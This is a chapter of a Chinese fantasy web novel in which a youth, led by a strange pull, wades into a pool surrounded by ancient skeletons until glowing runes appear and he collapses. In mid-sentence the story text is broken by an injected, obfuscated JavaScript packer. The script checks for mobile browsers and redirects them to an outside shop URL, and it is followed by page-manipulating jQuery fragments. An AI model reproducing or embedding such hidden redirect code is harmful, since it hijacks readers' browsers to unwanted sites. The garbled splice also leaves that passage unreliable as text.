76.入梦
作品:《无尽书》 昭鹊脑袋里晕晕乎乎的,全靠着既云时不时和自己搭两句话或是询问方向,才残存一点神志没昏过去。
既云背着背上那具滚烫的身躯,深一脚浅一脚地穿行在愈发浓重的迷雾里。
乌罗儿和清溪紧随其后,几乎不敢眨眼,生怕一个不留神就丢失了前方模糊的背影。
正当这令人窒息的乳白混沌似要无尽蔓延之际,昭鹊伏在既云耳畔,气若游丝地道:“前边就到了……”
既云依言前行,拨开一片格外茂密,枝条纠缠的不知名灌木丛,荆棘刮过衣袍发出窸窣声响。
下一瞬,他们恍若穿透了一层无形的屏障,周遭那厚重得化不开的浓雾竟骤然消散,如同帷幕被突然拉开。
略微有些刺目的天光毫无阻碍地倾泻而下,让习惯了昏暗光线的几人下意识地眯起了眼睛。待视线适应,眼前的景象才叫他们呼吸都为之一窒。
他们正站在一处高地的边缘,脚下是一个巨大的碗状谷地。谷地中央,是一潭广阔而沉寂的水域。
水色并非清澈见底,而是一种深邃得近墨绿的色彩,水面平滑如镜,倒映着四周环绕的高耸而陡峭的灰黑色岩壁,岩壁上布满了岁月侵蚀的裂痕与斑驳的苔痕。
可这潭水虽是完全意义上的碧蓝如翡翠,却又实实在在地透着股沉沉的死寂气息。
水面不见一丝波纹,也看不到任何游鱼的迹象,外边的主流里所有的生机都在这片潭水处凭空消失了。
然真正令几人脊背生寒的,并非这潭死水,而是散布在潭边、岩壁之下、浅水淤泥之中的——
骸骨。
大量的,属于人的骸骨。
岁月流转已久,血肉早已消弭,只留下一具具森白的骨架。或扭曲,或痛苦,皆以无声之姿,诉说着当年那场猝然降临的灭顶之灾。
在靠近水潭边缘的淤泥里,一具瞧着较为高大的骨骸半埋其中,胸腔肋骨多处断裂,头骨歪向一侧,那空荡荡的眼窝正对着灰蒙蒙的天空。
不远处,几块巨大的岩石旁,散落着另一具骸骨的各部分,脊柱断裂,四肢骨骼分离,唯独一只臂骨以一种极不自然的、向前伸出的姿态,死死卡在石缝之中,或许是在生命最后一刻仍在挣扎着要逃离。
更令人心惊者,是一具倚立断柱基座之骸骨。其身犹缠枯黑未腐的藤蔓,似被缚于此地。骨骸的姿态是仰面的,那头骨上空洞的眼窝,像是固执地望着头顶那方狭小的为岩壁所切割开的狭仄天空。
在这些触目惊心的遗骸之间,还零星散落着一些被泥石流冲毁的一些破碎的陶片和锈蚀得几乎看不出原貌的饰物,以及被淤泥改变颜色的织物碎片,混杂在骸骨与乱石之间。
空气中弥漫着一股难以言喻的气味,是潮湿的泥土与水生植物腐烂的气息。这里美得诡异,也静得可怕。
那墨绿色的潭水,那高耸的岩壁,那沐浴在天光下的森森白骨,构成了一幅既壮阔又令人毛骨悚然的画面。
乌罗儿倒吸了一口凉气,声音干涩:“这……这里不会就是、昭鹊你说的那个什么侍奉归川的部族最后的……”
清溪更是脸色发白,下意识地便抓紧了自己的衣袖,目光扫过那些骸骨,尤其是那具被藤蔓缠绕的,眼中充满了不忍与恐惧。
既云稳稳地背着昭鹊,目光沉凝地扫过这惨烈的遗迹。昭鹊环在他颈间的手臂似乎也无意识地收紧了些,只是不知是不是错觉,他总觉昭鹊身上的温度似乎降下来了一些。
昭鹊伏在既云背上,怔怔地望着下方那片死寂的谷地和水潭。脑海中那些纷乱的,有关洪水与哀嚎的梦境碎片,与眼前这真实而残酷的景象缓缓重叠。
皮肤上源源不断的灼烫感与血脉深处那尖锐的共鸣,在这一刻仿佛找到了源头,剧烈地鼓噪着。
这里,便是他梦中那些异族人欢歌笑语的安居之地,也是他们最终的埋骨之所。
归川的源头……终于到了。
站在水边,望着下方那片死寂而惨烈的景象,他原本体内那股灼烧般的滚烫,竟如同退潮般缓缓平息下去。
皮肤上那令人烦躁的刺痛感逐渐减弱,头脑中也清明了几分。然而,另一种更强烈的、难以抗拒的牵引感,却猛地攥住了他的全部心神。
他的目光,不由自主地、死死地锁定了水潭中央那片区域。
那里堆积着大量石块,隐约能推测出应当是柱子或是别的什么的,只是如今却只剩一片浸在水中的废墟,乱石嶙峋,表面覆盖着墨绿色的水藻和淤泥。
像是源自血脉深处的渴望,亦或是别的什么召唤,从那片坍塌的石堆中悄然漫出,无声无息,却带着不容抗拒的磅礴之力。
他望向那个方向,胸腔内心脏沉而急促地搏动。似非己愿,反倒是某种古老宏大的意志,正在驱动着他的身体行动、思索。
“……放我下来。”昭鹊的声音有些沙哑,出口却是不同寻常的急切。
语气里的那种异样却让既云心头一紧,纵是他已经察觉到昭鹊身上的温度下去了,还是有些忧心:“能行吗?当真没事了?”
他侧过头,不放心地追问,手臂依旧稳稳地托着人。
“放我下来。”昭鹊不管不顾,只重复道。他挣扎着想要落地,既云怕伤到他,只得小心地俯身,将他放下。
双脚触及地面,昭鹊微微踉跄了一下,既云立刻伸手扶住他的胳膊。昭鹊却仿佛丝毫没有注意到这些,目光依旧直勾勾地望着水潭中央那片石堆。
而后,在身后三人惊愕的注视下,昭鹊猛地挣脱了既云的手,迈开了脚步,径直朝着那潭水中心走去。
“……喂,”乌罗儿疑惑地喊了一声,转向既云小声询问道,“你们搞什么呢?他干嘛去呢?”
昭鹊毫无反应,如同梦游般,一步一步踩下高地的斜坡,踏入了水潭边缘的浅滩。
河水很快浸湿了他的鞋袜和裤脚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869610|182802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“哎!昭鹊你干什么去!”清溪原本背对着几人,不知先前的情况。岂料闻声回头便见昭鹊竟然直直朝着那些森森白骨走去,一下子吓得惊呼出声,声音在空旷的谷地里带着回响。
昭鹊却似听不见周遭所有声响一般。
他眸光空洞,宛若被无形丝线牵引,足踏淤泥,越过水边散落的故族先民残骨——那不知归属的骸骨被踩过,发出刺耳的细碎裂响,他依旧不为所动,只径直向深处行去。
水面从他的脚踝,迅速漫过小腿,又没过了膝盖,向着大腿蔓延。冰冷的潭水浸透了他的衣裤,带来刺骨的寒意,他却浑然不觉,步伐没有丝毫停滞。
“昭鹊!” 既云心头骤然一沉。他方才只当是昭鹊是发现了什么,或是感知到了路径,才会那般执拗。
然此刻,昭鹊全然无视外界呼唤,宛若木偶般失神前行,叫他陡然惊觉,此事绝非那般简单。
眼看潭水已经漫过腰际,而昭鹊还在不管不顾地向前,既云再也无法站在原地。他侧头对身后的乌罗儿和清溪低喝一声:“待在原地勿要走动!”
旋即身形一动,踏入了潭水中。
冰冷的潭水瞬间浸透了他的下半身,他大步向前,水花四溅,急切地朝着那个丢了魂一般的身影追去。
然而就在他伸手即将抓着人的刹那,怪象骤起——
自水潭中央,那片坍塌的石堆深处,以及水底被淤泥和白骨掩埋的某些区域,毫无预兆地,同时迸发出了光晕。那光芒并非刺眼的强光,而是如同呼吸般明灭不定,透过墨绿色的水体和覆盖的杂物渗透出来,勾勒出下方隐藏着的繁复而古老的符文轮廓。
整个沉寂的水潭,突然间在这一刻被注入了某种沉睡已久的力量,连带着地面都微微震颤起来。
既云被这突如其来的光芒晃得动作一滞,心中警铃大作,却来不及迟疑,立即下心头的惊骇,手臂猛地前伸,一把牢牢抓住了昭鹊湿漉漉的手臂,用力将人往后一带。
青年人的身体大半沉在水中,轻飘飘的,几乎没什么重量,被他轻易地拽了回来。既云顺势将人紧紧捞进怀里,双臂环住,迅速后退了几步,脱离了深水区。
他惊魂未定,只不自觉低头看向怀中的人,只见昭鹊双目紧闭,脸上、睫毛上还沾着方才动作溅到的水珠,脸色苍白得没有一丝血色,气息微弱。
刚才那股驱使着他前进的诡异指引似乎在他被抓住的一瞬便消失了,他软软地倒在既云怀里,已然失去了意识。
既云呆了半瞬,一时间慌了神,怔怔地只知低声唤了几声名字,轻轻拍打对方湿漉漉的脸颊。然而怀中之人依旧双目紧闭,毫无知觉。
水潭中央和水底的光芒依旧在明明灭灭,映照着周围森白的骸骨和死寂的水面,将相拥的两人笼罩在一片诡异而朦胧的光晕之中。
乌罗儿和清溪站在岸边,看着这突如其来的变故,面上皆是震惊与无措。

